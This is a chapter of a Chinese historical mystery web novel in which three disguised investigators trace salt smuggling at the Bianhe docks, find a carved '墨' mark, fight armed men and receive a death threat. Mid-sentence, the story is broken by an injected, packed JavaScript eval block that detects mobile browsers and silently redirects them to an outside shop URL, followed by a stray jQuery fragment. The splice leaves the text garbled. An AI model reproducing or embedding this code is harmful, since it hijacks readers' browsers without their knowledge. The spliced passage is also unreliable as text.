晨雾未散，汴河口码头已经喧腾起来。
漕船的桅杆像一片枯萎的森林，挤满了河道。官船插着黄旗，在晨光中显得格外刺眼；私船则多是蓝布幌子，船工吆喝着卸货，麻袋、木箱在跳板上滚落，溅起浑浊的水花。
晏清换了身靛蓝棉布长衫，戴着方巾，手里托着个算盘，扮作随行账房。陆明渊一身短打武师装扮，腰间束着宽皮带，眼神扫过码头时带着惯常的警觉。苏文谦则是一副富商打扮，锦缎袍子外罩着狐裘披风，手里盘着两个玉核桃，气度沉稳。
三人混在往来的人流里，并不显眼。
“往那边走。”晏清低声道，目光落在码头西侧一片略显破败的茶棚。
茶棚里坐的多是歇脚的船工、力夫，粗陶碗里盛着劣茶，就着硬饼子啃。几人凑在一桌，正低声议论着什么，见晏清三人进来，声音立刻低了八度。
晏清选了角落的位置坐下，要了三碗茶。陆明渊靠窗坐着，视线能覆盖整个茶棚入口。苏文谦则慢悠悠地拨着玉核桃，目光随意扫过那些船工。
“……又来了三艘空船。”隔壁桌一个驼背老船工啐了口茶叶沫子，“这个月都第七艘了，闸口的刘爷连查都不查，腰牌一晃就放行。”
“少说两句。”他同伴捅了捅他，“那些船的事，也是你能议论的？”
晏清端起茶碗，装作不经意地转头：“老丈，方才听您说空船过闸……这漕运规矩，空船也能过龙门？”
老船工警惕地看了他一眼，又看看他身边的陆明渊，没吭声。
晏清从袖中摸出几枚碎银，轻轻推过去：“晚辈初来汴京，想跑点小生意，听说空船过闸能省不少税银，特来请教。”
银子在桌上泛着光。老船工喉结动了动，左右看看，飞快地将银子拢进袖口，压低声音：“年轻人，听我一句劝，这生意做不得。”
“为何？”
“空船过闸，得凭漕运司的‘朱红腰牌’。”老船工的声音更低了，“那腰牌，只有漕运司几位大人的亲信才有。寻常商人想弄一块，得这个数——”他伸出三根手指，“还得有人引荐。而且……就算过了闸，船也得在指定地方卸货，不准私自跑。”
晏清心中一动：“指定地方是？”
老船工犹豫了一下，指了指码头西侧：“那边有个废弃的货栈，早些年走水的，现在没人用。但我夜里巡船时，常看见有黑影进出。”
话音未落，茶棚外忽然传来一阵骚动。几个穿着漕运司皂衣的兵丁大步走进来，为首的是个满脸横肉的汉子，腰间挎着刀，眼神如鹰隼般扫过茶棚。
老船工脸色一变，立刻闭嘴，埋头喝茶。
那汉子在茶棚里转了一圈，目光在晏清三人身上停留片刻，又移开了。他走到柜台前，敲了敲桌子：“掌柜的，最近可有什么生面孔来打听事？”
掌柜的赔着笑：“王头儿说笑了，咱这小店来的都是熟客……”
“最好没有。”那汉子冷哼一声，带着人出去了。
等脚步声远去，老船工才松了口气，低声道：“那是漕运司的王麻子，专管码头巡查的。你们……快走吧。”
晏清站起身，拱手道谢。三人出了茶棚，朝着老船工指的方向走去。
码头西侧确实荒凉。一座两层高的货栈孤零零立着，半边墙壁被火烧得漆黑，窗棂破损，大门上挂着生锈的锁链——但锁是开的。
陆明渊上前试了试，锁链只是虚挂着。他轻轻推开一条缝，三人闪身进去。
货栈内光线昏暗，空气中弥漫着一股陈年的霉味，混杂着……盐渍的气息。晏清蹲下身，用手指抹了抹地面——一层细白的结晶，在从破窗透进的光线下微微反光。
“是盐。”他低声道。
陆明渊检查着墙角，忽然顿住：“这里有字。”
晏清凑过去。斑驳的墙面上，有人用利器刻了一个字——墨。刻痕很深，边缘已经发黑，像是有些年头了。
“和郭奉掌心的残片一样。”晏清的声音沉了下来。
苏文谦在货栈另一头翻找，从一堆废弃的木箱后面拖出几本残破的账册。账页泛黄，被虫蛀得厉害，但有几页还能看清字迹。
晏清接过最上面一本，快速翻阅。流水账记得很乱，多是些日常开支，但翻到中间时，他的手指停住了——
“三月初五，空船三号，过闸后卸‘白米’十石，实则……”
后面的半页被撕掉了。只留下最后两个模糊的字：“龙门”。
“这就是证据。”晏清小心地将这页账纸撕下，折好塞进怀中，“空船过闸，卸的却不是申报的货物。‘白米’是暗语，实际运的恐怕是盐，或者其他更值钱的东西。”
陆明渊忽然抬手，做了个噤声的手势。
货栈外传来脚步声，还有说话声：“……王头儿说了，这几天盯紧点，尤其西边这破屋子。”
“这鬼地方有什么好盯的？”
“你懂个屁！上头交代的，少问多做！”
脚步声越来越近。陆明渊环顾四周，货栈内无处可藏，只有几根粗大的横梁架在屋顶。他指了指上面，三人默契地抓住木柱，悄无声息地攀上横梁。
刚在阴影里藏好，货栈的门就被推开了。两个漕运司的兵丁提着灯笼进来，四下照了照。
“没人啊。”年轻的那个嘟囔。
年长的那个举着灯笼往墙角照，正好照到那个“墨”字刻痕。他盯着看了几秒，忽然脸色一变：“走，快走！”
“怎么了？”
“别问！快走！”
两人匆匆退出去，重新挂上锁链。脚步声远去。
横梁上，晏清三人都松了口气。陆明渊先跳下来，接应两人落地。
“他们认识那个标记。”晏清低声道，“而且很害怕。”
“说明这地方确实不简单。”苏文谦整理着衣袍，“我们先离开。”
三人从货栈后墙的破洞钻出，刚走到巷口，迎面就撞上了一群人。
七个黑衣汉子，腰间都挎着短刀，为首的是个脸上有疤的壮汉。他手里拿着一枚令牌，在晨光下翻转——令
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153655|196482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
牌边缘刻着菱格纹，与郭府池塘边的靴印一模一样。
“三位，”疤脸汉子咧嘴一笑，露出黄牙，“查得挺仔细啊。可惜，这码头不是你们该来的地方。”
陆明渊踏前一步，将晏清和苏文谦挡在身后，手按上了腰间的短刀刀柄。
“漕运码头，百姓皆可来往。”苏文谦沉声道，“你们是何人，敢在此拦路？”
疤脸汉子哈哈一笑，从腰间扯下一枚腰牌——朱红色，上面刻着“漕运司龙门分舵”。
“看清楚了？”他晃了晃腰牌，“奉漕运司之命，巡查码头可疑人等。三位面生得很，跟我们走一趟吧。”
说话间，另外六个黑衣汉子已经呈扇形围了上来。
陆明渊眼神一冷，短刀出鞘。刀光如雪，直取疤脸汉子面门！疤脸汉子没想到他敢直接动手，仓促拔刀格挡，“铛”地一声，火星四溅。
另外六人立刻扑上。陆明渊以一敌七，刀光翻飞，竟丝毫不落下风。但他毕竟要护着身后两人，渐渐被逼到巷子深处。
苏文谦忽然高声道：“漕运司的兵丁何在？本官乃都察院御史，在此遇袭！”
这一声喝，中气十足。巷子外正在巡逻的那队漕运司兵丁闻声赶来，为首的正是王麻子。
王麻子看到巷内情景，脸色变了变。疤脸汉子瞪了他一眼：“王头儿，这儿没你的事。”
苏文谦亮出御史通行文书，金印在晨光下刺眼：“本官奉旨巡查漕运，尔等持械围攻朝廷命官，是想造反吗？！”
王麻子看看疤脸汉子，又看看苏文谦手中的文书，咬了咬牙，挥手道：“撤！”
疤脸汉子怒道：“你敢？！”
“老子是漕运司的人，不是你的狗！”王麻子啐了一口，带着兵丁转身就走，竟是真的不管了。
趁这片刻僵持，陆明渊刀势一转，逼退两人，低喝：“走！”
三人冲开一个缺口，朝着巷子另一头疾奔。身后传来疤脸汉子的怒骂和追赶的脚步声。
穿过三条街巷，甩掉追兵，三人才在一处僻静的后院墙根停下，喘着粗气。
“龙门分舵……”晏清平复着呼吸，“看来龙门确实是关键。”
陆明渊收起刀，刀锋上还沾着血：“那些人训练有素，不是普通打手。”
苏文谦整理着被扯乱的衣袍，面色凝重：“王麻子认识那个疤脸，却不敢管。说明疤脸背后的势力，连漕运司的人都忌惮。”
回到落脚的客栈时，已是午后。
掌柜的迎上来，神色有些古怪：“三位客官，有人留了封信给您。”
晏清接过信。普通黄纸信封，没有署名。拆开，里面只有一张纸，上面用浓墨写了八个大字——
“再查龙门，死无全尸。”
他将信纸翻转，背面，有人用朱砂画了一个字。
墨。
窗外，汴河的水声隐隐传来，混着码头的喧嚣。
而那张警告信在桌上，像一道无声的催命符。
---
（本章完）